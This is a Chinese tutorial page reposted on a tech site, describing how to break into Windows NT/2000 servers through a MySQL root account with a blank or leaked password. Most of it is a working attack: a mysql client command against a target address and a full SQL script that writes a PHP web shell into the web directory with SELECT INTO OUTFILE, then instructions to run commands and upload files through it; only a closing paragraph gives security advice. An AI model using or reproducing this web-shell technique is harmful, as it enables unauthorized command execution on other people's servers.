| 网站首页 | 业界信息 | 技术教程 | 解决方案 | 建站素材 | 留言本站 | 云瑞产品 | 下载中心 | 在线影院 | 技术论坛 | 
您现在的位置: 云通网络 >> 技术教程 >> 网络技术 >> 数据库专区 >> Mysql >> 正文 用户登录 新用户注册
通过mysql入侵NT和win2000            【字体:
通过mysql入侵NT和win2000
作者:本站整理    文章来源:网上收集    点击数:    更新时间:2007-11-22    
火狐Firefox


通过mysql入侵NT和win2000   许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:/mysql/bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:/mysql/bin>

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(/"$cmd > temp.dat/");}?><style type=/"text/css/"><!/-/- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px/-/-></style><p class=/"title2/"> </p><form name=/"form1/" method=//"post/" action=/"/cmd2.php/"> <input type=/"text/" name=/"cmd/" size=/"50/" class=/"form1/"></form><form name=/"form2/" method=/"post/" action=/"/"> <p> <textarea name=/"text/" cols=/"120/" rows=/"50/" class=/"form1/"><?if(isset($cmd)){readfile(/"temp.dat/");unlink(/"temp.dat/");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd://new//cmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:/new/cmd2.php。然后删除tmp这个我们创建的table。这里的d:/new的目录是该机器的web目录。然后我们就可以在浏览器中输http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。

 

文章来自:云通信息技术网 www.kmxm.net
版权声明:部分内容转载于网络,其版权属于原作者,如果有任何内容方面的问题,请联系我们。




文章录入:情之何物    责任编辑:情之何物 
  • 上一篇文章:

  • 下一篇文章:
  • 在百度上搜索】 【社区讨论】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    MySQL管理员指南之--MySQL用
    mysql的本地备份和双机相互备
    MySQL中文参考手册-- 常用查
    MySQL 5.0 新特性教程 存储过
    MySQL 5.0 新特性教程 触发器
    从MySQL导出XLS数据库工具(跨
    MySQL安全问题(匿名用户)的一
    MySQL3.23.31之前版本的安全
    MySQL中文参考手册-- 连接与
    为什么mysql5 改密码后不能登
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)